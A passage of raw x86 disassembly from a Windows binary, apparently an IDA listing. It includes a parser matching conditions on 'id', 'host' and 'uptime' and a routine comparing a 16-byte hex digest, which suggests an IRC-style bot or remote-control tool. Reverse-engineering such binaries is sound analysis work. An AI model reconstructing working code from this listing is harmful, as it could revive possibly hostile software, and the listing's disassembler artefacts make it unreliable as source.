		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40170D
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
sub_412BC0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412C10	proc near		; CODE XREF: sub_401F00j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_412C10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	6
		push	9
		push	4Fh
		push	3
		push	9
		push	7
		push	0Fh
		lea	eax, [esp+48h+var_24]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
sub_412C10	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_412CB0:				; CODE XREF: ___:loc_40100Aj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43994E
		push	eax
		mov	large fs:0, esp
		sub	esp, 90h
		add	ecx, 4
		push	ebp
		push	esi
		mov	esi, [esp+0A8h]
		lea	ebp, [esi+7Eh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412FD6
		push	ebx
		push	edi
		push	offset asc_443600 ; " "
		lea	eax, [esp+44h]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	ecx, [esp+2Ch]
		push	2
		push	ecx
		mov	ecx, esi
		mov	dword ptr [esp+0B4h], 0
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	edx, [esp+14h]
		push	3
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 1
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	eax, [esp+74h]
		push	0
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 2
		call	sub_4016AE
		mov	edi, eax
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 3
		call	sub_4013D9
		lea	ecx, [esp+28h]
		mov	ebx, eax
		call	sub_4013D9
		lea	ecx, [esp+40h]
		add	ebx, eax
		call	sub_4013D9
		mov	ecx, edi
		add	ebx, eax
		call	sub_4013D9
		lea	ecx, [esp+70h]
		lea	edi, [ebx+eax+4]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+58h]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_401E2E
		push	offset asc_443600 ; " "
		lea	edx, [esp+8Ch]
		push	4
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 4
		call	sub_4016AE
		lea	ecx, [esp+70h]
		push	1
		mov	bl, 5
		push	ecx
		mov	ecx, eax
		mov	[esp+0B0h], bl
		call	sub_401E2E
		push	eax
		mov	ecx, ebp
		mov	byte ptr [esp+0ACh], 6
		call	sub_40200E
		lea	ecx, [esp+70h]
		mov	[esp+0A8h], bl
		call	sub_401226
		mov	byte ptr [esp+0A8h], 4
		lea	ecx, [esp+88h]
		call	sub_401226
		lea	edx, [esp+58h]
		mov	ecx, esi
		push	edx
		call	sub_40200E
		push	offset asc_443D40 ; "!="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412E35
		xor	edi, edi


loc_412E35:				; CODE XREF: ___:00412E31j
		push	offset asc_443D3C ; "=="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412E4C
		mov	edi, 1


loc_412E4C:				; CODE XREF: ___:00412E45j
		push	offset asc_443D38 ; ">"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412E63
		mov	edi, 2


loc_412E63:				; CODE XREF: ___:00412E5Cj
		push	offset asc_443D34 ; "<"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412E7A
		mov	edi, 3


loc_412E7A:				; CODE XREF: ___:00412E73j
		push	offset aId	; "id"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412ED4
		test	edi, edi
		jnz	short loc_412EAA
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset word_44759A
		call	sub_4012EE
		test	eax, eax
		jz	short loc_412ED4
		jmp	short loc_412EC7
; ---------------------------------------------------------------------------


loc_412EAA:				; CODE XREF: ___:00412E8Ej
		cmp	edi, 1
		jnz	short loc_412ED4
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset word_44759A
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412ED4


loc_412EC7:				; CODE XREF: ___:00412EA8j
		push	0
		push	esi
		mov	ecx, offset byte_4472B7
		call	sub_401A32


loc_412ED4:				; CODE XREF: ___:00412E8Aj
					; ___:00412EA6j ...
		push	offset aHost	; "host"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F27
		test	edi, edi
		jnz	short loc_412F08
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_4D60DD
		call	sub_4013E3
		test	eax, eax
		jnz	loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F08:				; CODE XREF: ___:00412EE8j
		cmp	edi, 1
		jnz	short loc_412F89
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_4D60DD
		call	sub_4013E3
		test	eax, eax
		jz	short loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F27:				; CODE XREF: ___:00412EE4j
		push	offset aUptime	; "uptime"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F89
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ebx, eax
		call	sub_401654
		test	edi, edi
		jnz	short loc_412F5D
		cmp	eax, ebx
		jz	short loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F5D:				; CODE XREF: ___:00412F55j
		cmp	edi, 1
		jnz	short loc_412F68
		cmp	eax, ebx
		jnz	short loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F68:				; CODE XREF: ___:00412F60j
		cmp	edi, 2
		jnz	short loc_412F73
		cmp	eax, ebx
		jle	short loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F73:				; CODE XREF: ___:00412F6Bj
		cmp	edi, 3
		jnz	short loc_412F89
		cmp	eax, ebx
		jge	short loc_412F89


loc_412F7C:				; CODE XREF: ___:00412F06j
					; ___:00412F25j ...
		push	0
		push	esi
		mov	ecx, offset byte_4472B7
		call	sub_401A32


loc_412F89:				; CODE XREF: ___:00412F00j
					; ___:00412F0Bj ...
		lea	ecx, [esp+58h]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 1
		call	sub_401226
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+0A8h], 0
		call	sub_401226
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+0A8h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebx
		jmp	short loc_412FD8
; ---------------------------------------------------------------------------


loc_412FD6:				; CODE XREF: ___:00412CE9j
		mov	al, 1


loc_412FD8:				; CODE XREF: ___:00412FD4j
		mov	ecx, [esp+98h]
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 9Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4130E0	proc near		; CODE XREF: sub_401654j
		nop
		call	near ptr 27E08AFh
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		mov	eax, edx
		add	eax, ecx
		sar	eax, 10h
		mov	edx, eax
		shr	edx, 1Fh
		add	eax, edx
		retn
sub_4130E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413120	proc near		; CODE XREF: sub_401FFAj

var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_413120
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+20h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+20h+var_4], 0
		call	sub_401749
		lea	edi, [esi+60h]
		lea	eax, [esp+20h+var_12]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401F05
sub_413120	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Fh]
		lea	ebx, [esi+6Ch]
		push	ecx
		mov	ecx, ebx
		mov	byte ptr [esp+20h], 2
		call	sub_401843
; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+1Ch], 3
		mov	dword ptr [esi], offset	off_43E044
		call	sub_401924
		mov	ecx, ebx
		call	sub_401C62
		mov	ecx, [esp+14h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4131F0	proc near		; CODE XREF: sub_401CF8j ___:00401E10j
		push	esi
		mov	esi, ecx
		call	sub_401C8F
sub_4131F0	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_413208
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_413208:				; CODE XREF: ___:004131FDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413220	proc near		; CODE XREF: sub_401C8Fj

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_413220
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		mov	dword ptr [esi], offset	off_43E044
		lea	edi, [esi+60h]
		mov	[esp+1Ch+var_4], 3
		mov	ecx, edi
		call	sub_401924
		lea	ebx, [esi+6Ch]
		mov	ecx, ebx
		call	sub_401C62
		mov	ecx, ebx
		mov	byte ptr [esp+1Ch+var_4], 2
		call	sub_4014B5
sub_413220	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 1
		call	sub_4011B8
; ---------------------------------------------------------------------------
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+18h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+10h]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4132E0	proc near		; CODE XREF: sub_4019F6j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4132E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	15h
		push	0Fh
		push	7
		push	0Fh
		lea	eax, [esp+58h+var_3C]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+32h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_4132E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		lea	edx, [esp+28h]
		push	13h
		push	edx
		call	sub_4019B5
		add	esp, 14h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4133D0	proc near		; CODE XREF: sub_401CD0j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4133D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0
		call	sub_4017E4
		test	eax, eax
		jz	short loc_413477
		lea	ecx, [esp+18h+var_14]
		call	sub_402252
		add	esi, 6Ch
		lea	eax, [esp+18h+var_10]
		push	eax
		mov	ecx, esi
		call	sub_4018F2
		mov	ecx, [eax]
		lea	edx, [esp+18h+var_10]
		mov	[esp+18h+var_14], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jz	short loc_413477


loc_413438:				; CODE XREF: sub_4133D0+A5j
		lea	eax, [esp+18h+arg_0]
		lea	ecx, [esp+18h+var_14]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+18h+var_14]
		jz	short loc_41349C
		call	sub_40118B
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jnz	short loc_413438


loc_413477:				; CODE XREF: sub_4133D0+2Ej
					; sub_4133D0+66j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
; ---------------------------------------------------------------------------


loc_41349C:				; CODE XREF: sub_4133D0+86j
		call	sub_40135C
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
sub_4133D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413510	proc near		; CODE XREF: sub_402112j

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_413510
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebx, ecx
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0
		call	sub_4017E4
		test	eax, eax
		jz	loc_4135E3
		lea	ecx, [esp+28h+var_18]
		call	sub_401037
		lea	ebp, [ebx+60h]
		lea	eax, [esp+28h+var_14]
		push	eax
		mov	ecx, ebp
		call	sub_401983
		mov	ecx, [eax]
		lea	edx, [esp+28h+var_14]
		mov	[esp+28h+var_18], ecx
		push	edx
		mov	ecx, ebp
		call	sub_402234
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AD7
		test	al, al
		jz	short loc_4135E3


loc_41357F:				; CODE XREF: sub_413510+D1j
		lea	ecx, [esp+28h+var_18]
		call	sub_4011D1
		mov	edi, [eax]
		sub	esp, 18h
		lea	eax, [esp+40h+arg_0]
		mov	ecx, esp
		mov	[esp+40h+var_10], esp
		push	eax
		call	sub_4014C9
		mov	ecx, ebx
		call	sub_401CD0
		mov	esi, eax
		test	esi, esi
		jz	short loc_4135AC
		mov	edi, [esi]


loc_4135AC:				; CODE XREF: sub_413510+98j
		lea	ecx, [esp+28h+arg_0]
		push	ecx
		mov	ecx, edi
		call	sub_401B72
		test	eax, eax
		jz	short loc_41360B
		test	esi, esi
		jnz	short loc_41360B
		lea	ecx, [esp+28h+var_18]
		call	sub_4018B6
		lea	edx, [esp+28h+var_14]
		mov	ecx, ebp
		push	edx
		call	sub_402234
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AD7
		test	al, al
		jnz	short loc_41357F


loc_4135E3:				; CODE XREF: sub_413510+31j
					; sub_413510+6Dj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax


loc_4135F6:				; CODE XREF: sub_413510+10Ej
		mov	ecx, [esp+28h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_41360B:				; CODE XREF: sub_413510+AAj
					; sub_413510+AEj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, edi
		jmp	short loc_4135F6
sub_413510	endp

; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413670	proc near		; CODE XREF: sub_401F46j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_413670
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		lea	ecx, [esp+14h+arg_0]
		mov	[esp+14h+var_4], 1
		call	sub_4017E4
		test	eax, eax
		jz	short loc_413714
		lea	ecx, [esp+14h+var_14]
		call	sub_401E1F
		lea	eax, [esp+14h+var_10]
		lea	ecx, [esp+14h+arg_18]
		push	eax
		call	sub_4012E9
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_14], ecx
		push	edx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D89
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D5C
		test	al, al
		jz	short loc_413714


loc_4136D6:				; CODE XREF: sub_413670+A2j
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_14]
		push	eax
		call	sub_401FA5
		mov	ecx, [eax]
		call	sub_401B72
		test	eax, eax
		jz	short loc_413746
		lea	ecx, [esp+14h+var_14]
		call	sub_4020A4
		lea	ecx, [esp+14h+var_10]
		push	ecx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D89
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D5C
		test	al, al
		jnz	short loc_4136D6


loc_413714:				; CODE XREF: sub_413670+2Bj
					; sub_413670+64j
		lea	ecx, [esp+14h+arg_0]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+14h+arg_18]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401578
; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------


loc_413746:				; CODE XREF: sub_413670+7Dj
		push	esi
		lea	ecx, [esp+18h+var_14]
		call	sub_401FA5
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401578
sub_413670	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4137E0	proc near		; CODE XREF: sub_4011DBj

var_A4		= byte ptr -0A4h
var_8C		= byte ptr -8Ch
var_74		= byte ptr -74h
var_64		= byte ptr -64h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4137E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 98h
		push	esi
		xor	esi, esi
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], esi
		call	sub_4017E4
		test	eax, eax
		jz	loc_413913
		lea	eax, [esp+0A8h+var_64]
		push	eax
		call	sub_401A55
		add	esp, 4
		lea	ecx, [esp+0A8h+var_A4]
		call	sub_401424
		push	offset byte_446F70
		lea	ecx, [esp+0ACh+var_A4]
		mov	byte ptr [esp+0ACh+var_4], 1
		call	sub_4015D7
		lea	ecx, [esp+0A8h+arg_0]
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+0ACh+arg_0]
		call	sub_4014D3
		lea	ecx, [esp+0ACh+var_64]
		push	eax
		push	ecx
		call	sub_401C12
		lea	edx, [esp+0B4h+var_64]
		lea	eax, [esp+0B4h+var_74]
		push	edx
		push	eax
		call	sub_402158
		add	esp, 14h


loc_41387B:				; CODE XREF: sub_4137E0+E8j
		lea	ecx, [esp+0A8h+var_8C]
		call	sub_401424
		xor	ecx, ecx
		lea	edx, [esp+0A8h+var_8C]
		mov	cl, [esp+esi+0A8h+var_74]
		mov	byte ptr [esp+0A8h+var_4], 2
		push	ecx
		push	offset a2_2x	; "%2.2X"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	eax, [esp+0A8h+var_8C]
		lea	ecx, [esp+0A8h+var_A4]
		push	eax
		call	sub_4016BD
		lea	ecx, [esp+0A8h+var_8C]
		mov	byte ptr [esp+0A8h+var_4], 1
		call	sub_401226
		inc	esi
		cmp	esi, 10h
		jl	short loc_41387B
		mov	edx, [esp+0A8h+arg_18]
		lea	ecx, [esp+0A8h+var_A4]
		push	ecx
		lea	ecx, [edx+15h]
		call	sub_401B72
		test	eax, eax
		mov	byte ptr [esp+0A8h+var_4], 0
		lea	ecx, [esp+0A8h+var_A4]
		jnz	short loc_41390E
		call	sub_401226
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_41392C
; ---------------------------------------------------------------------------


loc_41390E:				; CODE XREF: sub_4137E0+10Cj
		call	sub_401226


loc_413913:				; CODE XREF: sub_4137E0+33j
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_41392C:				; CODE XREF: sub_4137E0+12Cj
		mov	ecx, [esp+0A8h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 0A4h
		retn	1Ch
sub_4137E0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4139B0	proc near		; CODE XREF: sub_40191Fj

var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4139B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		lea	eax, [esp+30h+arg_18]
		mov	ecx, esp
		mov	[esp+30h+var_14], esp
		push	eax
		mov	[esp+34h+var_4], 1
		call	sub_4014C9
		mov	ecx, esi
		call	sub_402112
		test	eax, eax
		jz	short loc_413A5E
		sub	esp, 0Ch
		add	eax, 54h
		mov	ecx, esp
		mov	[esp+24h+var_14], esp
		push	eax
		call	sub_40171C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+40h]
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	edx
		mov	[esp+44h+var_8], 2
		call	sub_4014C9
		mov	ecx, esi
		mov	[esp+40h+var_8], 1
		call	sub_401F46
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_413A5E
		lea	ecx, [esp+40h+var_24]
		mov	byte ptr [esp+40h+var_2C], 0
		call	sub_401226
		lea	ecx, [esp+40h+var_C]
		mov	[esp+40h+var_2C], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+40h+var_34]
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
; ---------------------------------------------------------------------------


loc_413A5E:				; CODE XREF: sub_4139B0+3Fj
					; sub_4139B0+79j
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
sub_4139B0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413AE0:				; CODE XREF: ___:00401393j
		push	0FFFFFFFFh
		push	offset loc_439B08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401861
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401861
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40191F
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413B70	proc near		; CODE XREF: sub_401181j

var_3C		= byte ptr -3Ch
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_18		= dword	ptr  1Ch
arg_1C		= dword	ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_413B70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		mov	ebp, [esp+48h+arg_18]
		xor	ebx, ebx
		cmp	ebp, ebx
		mov	[esp+48h+var_4], ebx
		jz	loc_413CB9
		lea	ecx, [esp+48h+arg_0]
		call	sub_4017E4
		test	eax, eax
		jz	loc_413CB9
		push	esi
		push	edi
		push	offset asc_443C94 ; ":"
		lea	eax, [esp+54h+var_3C]
		push	ebx
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		xor	esi, esi
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jz	loc_413C93
		add	ebp, 54h


loc_413BF0:				; CODE XREF: sub_413B70+11Dj
		push	15h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	dword ptr [esp+4Ch+var_3C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+4Ch], 2
		jz	short loc_413C10
		mov	ecx, eax
		call	sub_401F2D
		jmp	short loc_413C12
; ---------------------------------------------------------------------------


loc_413C10:				; CODE XREF: sub_413B70+95j
		xor	eax, eax


loc_413C12:				; CODE XREF: sub_413B70+9Ej
